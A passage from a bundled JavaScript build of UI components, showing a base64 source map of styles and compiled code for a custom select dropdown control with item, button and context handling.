Njcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblxuXHQvKiBUaGUgc21hbGxlc3Qgc2l6ZSB3aXRob3V0IG92ZXJmbG93aW5nIHRoZSBjb250YWluZXIuICovXG5cdG1pbi13aWR0aDogbWluLWNvbnRlbnQ7XG5cblx0LyogQW5pbWF0aW9uICovXG5cdCZbZGF0YS1vcGVuXSB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHRhbmltYXRpb24tbmFtZTogJHsgc2xpZGVEb3duIH0sICR7IGZhZGVJbiB9O1xuXHRcdFx0YW5pbWF0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9EVVJBVElPTiB9O1xuXHRcdFx0YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdFx0JHsgRFJPUERPV05fTU9USU9OX0NTUy5GQURFX0VBU0lORyB9O1xuXHRcdFx0d2lsbC1jaGFuZ2U6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR9XG5cdH1cblxuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdC8qIFRoZSBvdXRsaW5lIHdpbGwgYmUgb24gdGhlIHRyaWdnZXIsIHJhdGhlciB0aGFuIHRoZSBwb3BvdmVyLiAqL1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RJdGVtID0gc3R5bGVkKCBBcmlha2l0LlNlbGVjdEl0ZW0gKShcblx0KCB7XG5cdFx0c2l6ZSxcblx0fToge1xuXHRcdHNpemU6IE5vbk51bGxhYmxlPCBDdXN0b21TZWxlY3RCdXR0b25TaXplWyAnc2l6ZScgXSA+O1xuXHR9ICkgPT4gY3NzYFxuXHRcdGN1cnNvcjogZGVmYXVsdDtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRcdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdFx0Ly8gVE9ETzogcmVhc3Nlc3MgbGluZS1oZWlnaHQgZm9yIG5vbi1sZWdhY3kgdjJcblx0XHRsaW5lLWhlaWdodDogMjhweDtcblx0XHRwYWRkaW5nLWJsb2NrOiAkeyBzcGFjZSggMiApIH07XG5cdFx0c2Nyb2xsLW1hcmdpbjogJHsgc3BhY2UoIDEgKSB9O1xuXHRcdHVzZXItc2VsZWN0OiBub25lO1xuXG5cdFx0JlthcmlhLWRpc2FibGVkPSd0cnVlJ10ge1xuXHRcdFx0Y3Vyc29yOiBub3QtYWxsb3dlZDtcblx0XHR9XG5cblx0XHQmW2RhdGEtYWN0aXZlLWl0ZW1dIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRcdH1cblxuXHRcdCR7IGdldFNlbGVjdEl0ZW1TaXplKCBzaXplICkgfVxuXHRgXG4pO1xuXG5jb25zdCB0cnVuY2F0ZVN0eWxlcyA9IGNzc2Bcblx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ZWRFeHBlcmltZW50YWxIaW50V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHRydW5jYXRlU3R5bGVzIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RlZEV4cGVyaW1lbnRhbEhpbnRJdGVtID0gc3R5bGVkLnNwYW5gXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZ3JheVsgNjAwIF0gfTtcblx0bWFyZ2luLWlubGluZS1zdGFydDogJHsgc3BhY2UoIDIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFdpdGhIaW50SXRlbVdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGZsZXgtd3JhcDogd3JhcDtcblx0ZmxleDogMTtcblx0Y29sdW1uLWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFdpdGhIaW50SXRlbUhpbnQgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA2MDAgXSB9O1xuXHR0ZXh0LWFsaWduOiBpbml0aWFsO1xuXHRsaW5lLWhlaWdodDogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9O1xuXHRwYWRkaW5nLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAxICkgfTtcblx0bWFyZ2luLWJsb2NrOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ZWRJdGVtQ2hlY2sgPSBzdHlsZWQoIEFyaWFraXQuU2VsZWN0SXRlbUNoZWNrIClgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdG1hcmdpbi1pbmxpbmUtc3RhcnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0ZmlsbDogY3VycmVudENvbG9yO1xuXG5cdC8vIEtlZXAgdGhlIGNoZWNrbWFyayB2ZXJ0aWNhbGx5IGFsaWduZWQgYXQgdGhlIHRvcC4gU2luY2UgdGhlIGl0ZW0gdGV4dCBoYXMgYVxuXHQvLyAyOHB4IGxpbmUgaGVpZ2h0IGFuZCB0aGUgY2hlY2ttYXJrIGlzIDI0cHggdGFsbCwgYSAoMjgtMjQpLzIgPSAycHggbWFyZ2luXG5cdC8vIGlzIGFwcGxpZWQgdG8ga2VlcCB0aGUgY29ycmVjdCBhbGlnbm1lbnQgYmV0d2VlbiB0aGUgdGV4dCBhbmQgdGhlIGNoZWNrbWFyay5cblx0YWxpZ24tc2VsZjogc3RhcnQ7XG5cdG1hcmdpbi1ibG9jay1zdGFydDogMnB4O1xuXG5cdC8vIFNpbmNlIHRoZSBjaGVja21hcmsncyBkaW1lbnNpb25zIGFyZSBhcHBsaWVkIHdpdGggJ2VtJyB1bml0cywgc2V0dGluZyBhXG5cdC8vIGZvbnQgc2l6ZSBvZiAwIGFsbG93cyB0aGUgc3BhY2UgcmVzZXJ2ZWQgZm9yIHRoZSBjaGVja21hcmsgdG8gY29sbGFwc2UgZm9yXG5cdC8vIGl0ZW1zIHRoYXQgYXJlIG5vdCBzZWxlY3RlZCBvciB0aGF0IGRvbid0IGhhdmUgYW4gYXNzb2NpYXRlZCBpdGVtIGhpbnQuXG5cdGZvbnQtc2l6ZTogMDtcblx0JHsgV2l0aEhpbnRJdGVtV3JhcHBlciB9IH4gJixcblx0Jjpub3QoOmVtcHR5KSB7XG5cdFx0Zm9udC1zaXplOiAyNHB4OyAvLyBTaXplIG9mIGNoZWNrbWFyayBpY29uXG5cdH1cbmA7XG4iXX0= */"));
39142 var SelectedItemCheck = /* @__PURE__ */ createStyled(SelectItemCheck, false ? {
39143 target: "e1p3eej70"
39144 } : {
39145 target: "e1p3eej70",
39146 label: "SelectedItemCheck"
39147 })("display:flex;align-items:center;margin-inline-start:", space(2), ";fill:currentColor;align-self:start;margin-block-start:2px;font-size:0;", WithHintItemWrapper, "~&,&:not(:empty){font-size:24px;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpTmtFIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzLCBrZXlmcmFtZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgY2hldnJvbkljb25TaXplIH0gZnJvbSAnLi4vc2VsZWN0LWNvbnRyb2wvc3R5bGVzL3NlbGVjdC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgeyBmb250U2l6ZVN0eWxlcyB9IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7IERST1BET1dOX01PVElPTl9DU1MgfSBmcm9tICcuLi91dGlscy9zdHlsZS1taXhpbnMnO1xuaW1wb3J0IHR5cGUgeyBDdXN0b21TZWxlY3RCdXR0b25TaXplIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IElOTElORV9QQURESU5HID0ge1xuXHRjb21wYWN0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdHNtYWxsOiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdGRlZmF1bHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG59O1xuXG5jb25zdCBnZXRTZWxlY3RTaXplID0gKFxuXHRzaXplOiBOb25OdWxsYWJsZTwgQ3VzdG9tU2VsZWN0QnV0dG9uU2l6ZVsgJ3NpemUnIF0gPixcblx0aGVpZ2h0UHJvcGVydHk6ICdtaW5IZWlnaHQnIHwgJ2hlaWdodCdcbikgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRbIGhlaWdodFByb3BlcnR5IF06IDMyLFxuXHRcdFx0cGFkZGluZ0lubGluZVN0YXJ0OiBJTkxJTkVfUEFERElORy5jb21wYWN0LFxuXHRcdFx0cGFkZGluZ0lubGluZUVuZDogSU5MSU5FX1BBRERJTkcuY29tcGFjdCArIGNoZXZyb25JY29uU2l6ZSxcblx0XHR9LFxuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdFsgaGVpZ2h0UHJvcGVydHkgXTogNDAsXG5cdFx0XHRwYWRkaW5nSW5saW5lU3RhcnQ6IElOTElORV9QQURESU5HLmRlZmF1bHQsXG5cdFx0XHRwYWRkaW5nSW5saW5lRW5kOiBJTkxJTkVfUEFERElORy5kZWZhdWx0ICsgY2hldnJvbkljb25TaXplLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdFsgaGVpZ2h0UHJvcGVydHkgXTogMjQsXG5cdFx0XHRwYWRkaW5nSW5saW5lU3RhcnQ6IElOTElORV9QQURESU5HLnNtYWxsLFxuXHRcdFx0cGFkZGluZ0lubGluZUVuZDogSU5MSU5FX1BBRERJTkcuc21hbGwgKyBjaGV2cm9uSWNvblNpemUsXG5cdFx0fSxcblx0fTtcblxuXHRyZXR1cm4gc2l6ZXNbIHNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3QgZ2V0U2VsZWN0SXRlbVNpemUgPSAoXG5cdHNpemU6IE5vbk51bGxhYmxlPCBDdXN0b21TZWxlY3RCdXR0b25TaXplWyAnc2l6ZScgXSA+XG4pID0+IHtcblx0Ly8gVXNlZCB0byB2aXN1YWxseSBhbGlnbiB0aGUgY2hlY2ttYXJrIHdpdGggdGhlIGNoZXZyb25cblx0Y29uc3QgY2hlY2ttYXJrQ29ycmVjdGlvbiA9IDY7XG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdHBhZGRpbmdJbmxpbmVTdGFydDogSU5MSU5FX1BBRERJTkcuY29tcGFjdCxcblx0XHRcdHBhZGRpbmdJbmxpbmVFbmQ6IElOTElORV9QQURESU5HLmNvbXBhY3QgLSBjaGVja21hcmtDb3JyZWN0aW9uLFxuXHRcdH0sXG5cdFx0ZGVmYXVsdDoge1xuXHRcdFx0cGFkZGluZ0lubGluZVN0YXJ0OiBJTkxJTkVfUEFERElORy5kZWZhdWx0LFxuXHRcdFx0cGFkZGluZ0lubGluZUVuZDogSU5MSU5FX1BBRERJTkcuZGVmYXVsdCAtIGNoZWNrbWFya0NvcnJlY3Rpb24sXG5cdFx0fSxcblx0XHRzbWFsbDoge1xuXHRcdFx0cGFkZGluZ0lubGluZVN0YXJ0OiBJTkxJTkVfUEFERElORy5zbWFsbCxcblx0XHRcdHBhZGRpbmdJbmxpbmVFbmQ6IElOTElORV9QQURESU5HLnNtYWxsIC0gY2hlY2ttYXJrQ29ycmVjdGlvbixcblx0XHR9LFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG59O1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ID0gc3R5bGVkKCBBcmlha2l0LlNlbGVjdCwge1xuXHQvLyBEbyBub3QgZm9yd2FyZCBgaGFzQ3VzdG9tUmVuZGVyUHJvcGAgdG8gdGhlIHVuZGVybHlpbmcgQXJpYWtpdC5TZWxlY3QgY29tcG9uZW50XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3AgKSA9PiBwcm9wICE9PSAnaGFzQ3VzdG9tUmVuZGVyUHJvcCcsXG59ICkoXG5cdCgge1xuXHRcdHNpemUsXG5cdFx0aGFzQ3VzdG9tUmVuZGVyUHJvcCxcblx0fToge1xuXHRcdHNpemU6IE5vbk51bGxhYmxlPCBDdXN0b21TZWxlY3RCdXR0b25TaXplWyAnc2l6ZScgXSA+O1xuXHRcdGhhc0N1c3RvbVJlbmRlclByb3A6IGJvb2xlYW47XG5cdH0gKSA9PiBjc3NgXG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmJhY2tncm91bmQgfTtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdGZvbnQtZmFtaWx5OiBpbmhlcml0O1xuXHRcdHRleHQtYWxpZ246IHN0YXJ0O1xuXHRcdHVzZXItc2VsZWN0OiBub25lO1xuXHRcdHdpZHRoOiAxMDAlO1xuXG5cdFx0JltkYXRhLWZvY3VzLXZpc2libGVdIHtcblx0XHRcdG91dGxpbmU6IG5vbmU7IC8vIGhhbmRsZWQgYnkgSW5wdXRCYXNlIGNvbXBvbmVudFxuXHRcdH1cblxuXHRcdCR7IGdldFNlbGVjdFNpemUoIHNpemUsIGhhc0N1c3RvbVJlbmRlclByb3AgPyAnbWluSGVpZ2h0JyA6ICdoZWlnaHQnICkgfVxuXHRcdCR7ICEgaGFzQ3VzdG9tUmVuZGVyUHJvcCAmJiB0cnVuY2F0ZVN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMoIHsgaW5wdXRTaXplOiBzaXplIH0gKSB9XG5cdGBcbik7XG5cbmNvbnN0IHNsaWRlRG93biA9IGtleWZyYW1lcygge1xuXHQnMCUnOiB7IHRyYW5zZm9ybTogYHRyYW5zbGF0ZVkoLSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfSlgIH0sXG5cdCcxMDAlJzogeyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVZKDApJyB9LFxufSApO1xuXG5jb25zdCBmYWRlSW4gPSBrZXlmcmFtZXMoIHtcblx0JzAlJzogeyBvcGFjaXR5OiAwIH0sXG5cdCcxMDAlJzogeyBvcGFjaXR5OiAxIH0sXG59ICk7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RQb3BvdmVyID0gc3R5bGVkKCBBcmlha2l0LlNlbGVjdFBvcG92ZXIgKWBcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYmFja2dyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmVsZXZhdGlvbk1lZGl1bSB9O1xuXG5cdC8qIHotaW5kZXgoXCIuY29tcG9uZW50cy1wb3BvdmVyXCIpICovXG5cdHotaW5kZXg6IDEwMDAwMDA7XG5cblx0bWF4LWhlaWdodDogbWluKCB2YXIoIC0tcG9wb3Zlci1hdmFpbGFibGUtaGVpZ2h0LCA0MDBweCApLCA0MDBweCApO1xuXHRvdmVyZmxvdzogYXV0bztcblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblxuXHQvKiBUaGUgc21hbGxlc3Qgc2l6ZSB3aXRob3V0IG92ZXJmbG93aW5nIHRoZSBjb250YWluZXIuICovXG5cdG1pbi13aWR0aDogbWluLWNvbnRlbnQ7XG5cblx0LyogQW5pbWF0aW9uICovXG5cdCZbZGF0YS1vcGVuXSB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHRhbmltYXRpb24tbmFtZTogJHsgc2xpZGVEb3duIH0sICR7IGZhZGVJbiB9O1xuXHRcdFx0YW5pbWF0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9EVVJBVElPTiB9O1xuXHRcdFx0YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdFx0JHsgRFJPUERPV05fTU9USU9OX0NTUy5GQURFX0VBU0lORyB9O1xuXHRcdFx0d2lsbC1jaGFuZ2U6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR9XG5cdH1cblxuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdC8qIFRoZSBvdXRsaW5lIHdpbGwgYmUgb24gdGhlIHRyaWdnZXIsIHJhdGhlciB0aGFuIHRoZSBwb3BvdmVyLiAqL1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RJdGVtID0gc3R5bGVkKCBBcmlha2l0LlNlbGVjdEl0ZW0gKShcblx0KCB7XG5cdFx0c2l6ZSxcblx0fToge1xuXHRcdHNpemU6IE5vbk51bGxhYmxlPCBDdXN0b21TZWxlY3RCdXR0b25TaXplWyAnc2l6ZScgXSA+O1xuXHR9ICkgPT4gY3NzYFxuXHRcdGN1cnNvcjogZGVmYXVsdDtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRcdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdFx0Ly8gVE9ETzogcmVhc3Nlc3MgbGluZS1oZWlnaHQgZm9yIG5vbi1sZWdhY3kgdjJcblx0XHRsaW5lLWhlaWdodDogMjhweDtcblx0XHRwYWRkaW5nLWJsb2NrOiAkeyBzcGFjZSggMiApIH07XG5cdFx0c2Nyb2xsLW1hcmdpbjogJHsgc3BhY2UoIDEgKSB9O1xuXHRcdHVzZXItc2VsZWN0OiBub25lO1xuXG5cdFx0JlthcmlhLWRpc2FibGVkPSd0cnVlJ10ge1xuXHRcdFx0Y3Vyc29yOiBub3QtYWxsb3dlZDtcblx0XHR9XG5cblx0XHQmW2RhdGEtYWN0aXZlLWl0ZW1dIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRcdH1cblxuXHRcdCR7IGdldFNlbGVjdEl0ZW1TaXplKCBzaXplICkgfVxuXHRgXG4pO1xuXG5jb25zdCB0cnVuY2F0ZVN0eWxlcyA9IGNzc2Bcblx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ZWRFeHBlcmltZW50YWxIaW50V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHRydW5jYXRlU3R5bGVzIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RlZEV4cGVyaW1lbnRhbEhpbnRJdGVtID0gc3R5bGVkLnNwYW5gXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZ3JheVsgNjAwIF0gfTtcblx0bWFyZ2luLWlubGluZS1zdGFydDogJHsgc3BhY2UoIDIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFdpdGhIaW50SXRlbVdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGZsZXgtd3JhcDogd3JhcDtcblx0ZmxleDogMTtcblx0Y29sdW1uLWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFdpdGhIaW50SXRlbUhpbnQgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA2MDAgXSB9O1xuXHR0ZXh0LWFsaWduOiBpbml0aWFsO1xuXHRsaW5lLWhlaWdodDogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9O1xuXHRwYWRkaW5nLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAxICkgfTtcblx0bWFyZ2luLWJsb2NrOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0ZWRJdGVtQ2hlY2sgPSBzdHlsZWQoIEFyaWFraXQuU2VsZWN0SXRlbUNoZWNrIClgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdG1hcmdpbi1pbmxpbmUtc3RhcnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0ZmlsbDogY3VycmVudENvbG9yO1xuXG5cdC8vIEtlZXAgdGhlIGNoZWNrbWFyayB2ZXJ0aWNhbGx5IGFsaWduZWQgYXQgdGhlIHRvcC4gU2luY2UgdGhlIGl0ZW0gdGV4dCBoYXMgYVxuXHQvLyAyOHB4IGxpbmUgaGVpZ2h0IGFuZCB0aGUgY2hlY2ttYXJrIGlzIDI0cHggdGFsbCwgYSAoMjgtMjQpLzIgPSAycHggbWFyZ2luXG5cdC8vIGlzIGFwcGxpZWQgdG8ga2VlcCB0aGUgY29ycmVjdCBhbGlnbm1lbnQgYmV0d2VlbiB0aGUgdGV4dCBhbmQgdGhlIGNoZWNrbWFyay5cblx0YWxpZ24tc2VsZjogc3RhcnQ7XG5cdG1hcmdpbi1ibG9jay1zdGFydDogMnB4O1xuXG5cdC8vIFNpbmNlIHRoZSBjaGVja21hcmsncyBkaW1lbnNpb25zIGFyZSBhcHBsaWVkIHdpdGggJ2VtJyB1bml0cywgc2V0dGluZyBhXG5cdC8vIGZvbnQgc2l6ZSBvZiAwIGFsbG93cyB0aGUgc3BhY2UgcmVzZXJ2ZWQgZm9yIHRoZSBjaGVja21hcmsgdG8gY29sbGFwc2UgZm9yXG5cdC8vIGl0ZW1zIHRoYXQgYXJlIG5vdCBzZWxlY3RlZCBvciB0aGF0IGRvbid0IGhhdmUgYW4gYXNzb2NpYXRlZCBpdGVtIGhpbnQuXG5cdGZvbnQtc2l6ZTogMDtcblx0JHsgV2l0aEhpbnRJdGVtV3JhcHBlciB9IH4gJixcblx0Jjpub3QoOmVtcHR5KSB7XG5cdFx0Zm9udC1zaXplOiAyNHB4OyAvLyBTaXplIG9mIGNoZWNrbWFyayBpY29uXG5cdH1cbmA7XG4iXX0= */"));
39148
39149 // packages/components/build-module/custom-select-control-v2/custom-select.mjs
39150 var import_jsx_runtime190 = __toESM(require_jsx_runtime(), 1);
39151 var CustomSelectContext = (0, import_element125.createContext)(void 0);
39152 CustomSelectContext.displayName = "CustomSelectContext";
39153 function defaultRenderSelectedValue(value) {
39154 const isValueEmpty2 = Array.isArray(value) ? value.length === 0 : value === void 0 || value === null;
39155 if (isValueEmpty2) {
39156 return (0, import_i18n40.__)("Select an item");
39157 }
39158 if (Array.isArray(value)) {
39159 return value.length === 1 ? value[0] : (0, import_i18n40.sprintf)(
39160 // translators: %d: number of items selected (it will always be 2 or more items)
39161 (0, import_i18n40._n)("%d item selected", "%d items selected", value.length),
39162 value.length
39163 );
39164 }
39165 return value;
39166 }
39167 var CustomSelectButton = ({
39168 renderSelectedValue,
39169 size: size3 = "default",
39170 store,
39171 ...restProps
39172 }) => {
39173 const {
39174 value: currentValue
39175 } = useStoreState(store);
39176 const computedRenderSelectedValue = (0, import_element125.useMemo)(() => renderSelectedValue ?? defaultRenderSelectedValue, [renderSelectedValue]);
39177 return /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(Select22, {
39178 ...restProps,
39179 size: size3,
39180 hasCustomRenderProp: !!renderSelectedValue,
39181 store,
39182 children: computedRenderSelectedValue(currentValue)
39183 });
39184 };
39185 function _CustomSelect(props) {
39186 const {
39187 children,
39188 hideLabelFromVision = false,
39189 label,
39190 size: size3,
39191 store,
39192 className: className2,
39193 isLegacy = false,
39194 ...restProps
39195 } = props;
39196 const onSelectPopoverKeyDown = (0, import_element125.useCallback)((e3) => {
39197 if (isLegacy) {
39198 e3.stopPropagation();
39199 }
39200 }, [isLegacy]);
39201 const contextValue = (0, import_element125.useMemo)(() => ({
39202 store,
39203 size: size3
39204 }), [store, size3]);
39205 return (
39206 // Where should `restProps` be forwarded to?
39207 /* @__PURE__ */ (0, import_jsx_runtime190.jsxs)("div", {
39208 className: className2,
39209 children: [/* @__PURE__ */ (0, import_jsx_runtime190.jsx)(SelectLabel, {
39210 store,
39211 render: hideLabelFromVision ? (
39212 // @ts-expect-error `children` are passed via the render prop
39213 /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(component_default2, {})
39214 ) : (
39215 // @ts-expect-error `children` are passed via the render prop
39216 /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(base_control_default.VisualLabel, {
39217 as: "div"
39218 })
39219 ),
39220 children: label
39221 }), /* @__PURE__ */ (0, import_jsx_runtime190.jsxs)(input_base_default, {
39222 __next40pxDefaultSize: true,
39223 size: size3,
39224 suffix: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(chevron_down_default2, {}),
39225 children: [/* @__PURE__ */ (0, import_jsx_runtime190.jsx)(CustomSelectButton, {
39226 ...restProps,
39227 size: size3,
39228 store,
39229 showOnKeyDown: !isLegacy
39230 }), /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(SelectPopover22, {
39231 gutter: 12,
39232 store,
39233 sameWidth: true,
39234 slide: false,
39235 onKeyDown: onSelectPopoverKeyDown,
39236 flip: !isLegacy,
39237 children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(CustomSelectContext.Provider, {
39238 value: contextValue,
39239 children
39240 })
39241 })]
39242 })]
39243 })
39244 );
39245 }
39246 var custom_select_default = _CustomSelect;
39247
39248 // packages/components/build-module/custom-select-control-v2/item.mjs
39249 var import_element126 = __toESM(require_element(), 1);
39250 var import_jsx_runtime191 = __toESM(require_jsx_runtime(), 1);
39251 function CustomSelectItem({
39252 children,
39253 ...props
39254 }) {
39255 const customSelectContext = (0, import_element126.useContext)(CustomSelectContext);
39256 return /* @__PURE__ */ (0, import_jsx_runtime191.jsxs)(SelectItem22, {
39257 store: customSelectContext?.store,
39258 size: customSelectContext?.size ?? "default",
39259 ...props,
39260 children: [children ?? props.value, /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(SelectedItemCheck, {
39261 children: /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(icon_default2, {
39262 icon: check_default
39263 })
39264 })]
39265 });
39266 }
39267 CustomSelectItem.displayName = "CustomSelectControlV2.Item";
39268 var item_default = CustomSelectItem;
39269
39270 // packages/components/build-module/custom-select-control/index.mjs
39271 var import_jsx_runtime192 = __toESM(require_jsx_runtime(), 1);
39272 function useDeprecatedProps5({
39273 __experimentalShowSelectedHint,
39274 ...otherProps
39275 }) {
39276 return {
39277 showSelectedHint: __experimentalShowSelectedHint,
39278 ...otherProps
39279 };
39280 }
